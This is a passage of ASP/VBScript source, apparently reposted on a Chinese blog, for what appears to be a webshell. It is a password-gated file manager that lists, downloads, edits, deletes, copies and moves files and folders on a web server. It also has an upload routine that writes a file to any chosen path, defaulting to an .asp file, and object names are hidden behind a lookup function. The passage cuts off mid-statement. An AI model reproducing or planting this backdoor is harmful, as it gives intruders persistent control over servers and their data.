Next
RW=RW &"</table></td><td width='600' valign='top' bgcolor='#FFFFFF'><table border='0' cellspacing='1' cellpadding='0' cellspacing='0' width='100%'>"
Response.Write RW : RW=""
For Each L in Fold.files
i=i+1
RW="<tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"">"
RW=RW &"<td width='45%' ><input type='checkbox' name='DownId' value='http://"&ServerNM&URL&"?Pass="&UserPass&"&DownFile="&RePath(Path&"\"&L.Name)&"'>"
RW=RW &"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"")' title='下载'>"&L.Name&"</a></td>"
RW=RW &"<td width='10%'>"&clng(L.size/1024)&"K</td>"
RW=RW &"<td width='20%' align='center'>" &year(L.DateLastModified) &"-" &right("0"&month(L.DateLastModified),2) &"-" &right("0"&day(L.DateLastModified),2) &" " &FormatDateTime(L.DateLastModified,4)
RW=RW &"<td width='25%' align='center'><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")'>编辑</a> "
RW=RW &"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()'>删除</a> "
RW=RW &"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")'>复制</a> "
RW=RW &"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")'>移动</a></td></td></tr>"
Response.Write RW : RW=""
Next
if i>0 then Response.Write "<tr><td><br><input type='checkbox' name='all' value='all' onClick='CheckAll()'>反向选择 <input type='submit' value='批量下载' name='downurl' style='width:80' onClick='Url()' class='submit'><div style=display:'none'><textarea rows='0' name='temp' cols='0'></textarea></div></td></tr>"
i=0
Response.Write "</table></td></tr></table>"
Set FOLD=Nothing
End Function
Function EditFile(Path)
dim T
If Request("Action2")="Post" Then
Set T=fso.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=Nothing
Set fso=Nothing
RW="<center><br><br><br>文件保存成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
Response.End
End If
If Path<>"" Then
Set T=fso.opentextfile(Path, 1, False)
On Error Resume Next
Txt=HTMLEncode(T.readall)
if err then err.Clear
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If
RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
RW=RW&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'><tr><td height='20' align='center' bgcolor='menu'>文本编辑器</td></tr>"
RW=RW&"<tr><td bgcolor='#FFFFFF' align='center'><input name='Action' value='EditFile' Type='hidden'>"
RW=RW&"<input name='FName' value='"&Path&"' style='width:580' class='border'></td></tr>"
RW=RW&"<tr><td bgcolor='#FFFFFF' align='center'><textarea name='Content' style='width:580height:450' class='border'>"&Txt&"</textarea></td></tr>"
RW=RW&"<tr><td bgcolor='#FFFFFF' align='center'><input name='goback' type='button' value='返回' onclick='history.back()' class='submit'> <input name='reset' type='reset' value='重置' class='submit'> <input name='submit' type='submit' value='保存' class='submit'>"
RW=RW&"</td></tr></form></table>"
Response.Write RW : RW=""
End Function
Function DelFile(Path)
If fso.FileExists(Path) Then
fso.DeleteFile Path
RW="<center><br><br><br>文件 "&Path&" 删除成功!</center>"
RW=RW &BackUrl
Response.Write RW
End If
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)<>"" Then
fso.CopyFile Path(0),Path(1)
RW="<center><br><br><br>文件" &Path(0) &"复制成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)<>"" Then
fso.MoveFile Path(0),Path(1)
RW="<center><br><br><br>文件" &Path(0) &"移动成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
Function DelFolder(Path)
If fso.FolderExists(Path) Then
fso.DeleteFolder Path
RW="<center><br><br><br>目录" &Path &"删除成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)<>"" Then
fso.CopyFolder Path(0),Path(1)
RW="<center><br><br><br>目录" &Path(0) &"复制成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)<>"" Then
fso.MoveFolder Path(0),Path(1)
RW="<center><br><br><br>目录" &Path(0) &"移动成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
Function NewFolder(Path)
If Not fso.FolderExists(Path) and Path<>"" Then
fso.CreateFolder Path
RW="<center><br><br><br>目录" &Path &"新建成功!</center>"
RW=RW &BackUrl
Response.Write RW : RW=""
End If
End Function
End Class
Function UpFile()
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
RW="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="<center><br><br><br>文件" &UName &"上传成功!</center>"
End if
End If
Set F=nothing:Set U=nothing
RW=RW &BackUrl
Response.Write RW
ShowErr()
Response.End
End If
RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
RW=RW &"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
RW=RW &"<tr><td height='20' align='center' bgcolor='menu'>上传文件</td></tr>"
RW=RW &"<tr><td align='center' bgcolor='#FFFFFF'>"
RW=RW &"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\newup.asp")&"' style='width:250' class='border'> "
RW=RW &"<input name='LocalFile' type='file' style='width:225' class='border'> "
RW=RW &"<input type='submit' name='Submit' value='上传' class='submit'>"
RW=RW &"</td></tr></form></table>"
Response.Write RW
End Function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject("Scripting.Dictionary")
vbCrlf = chrB(13) &chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)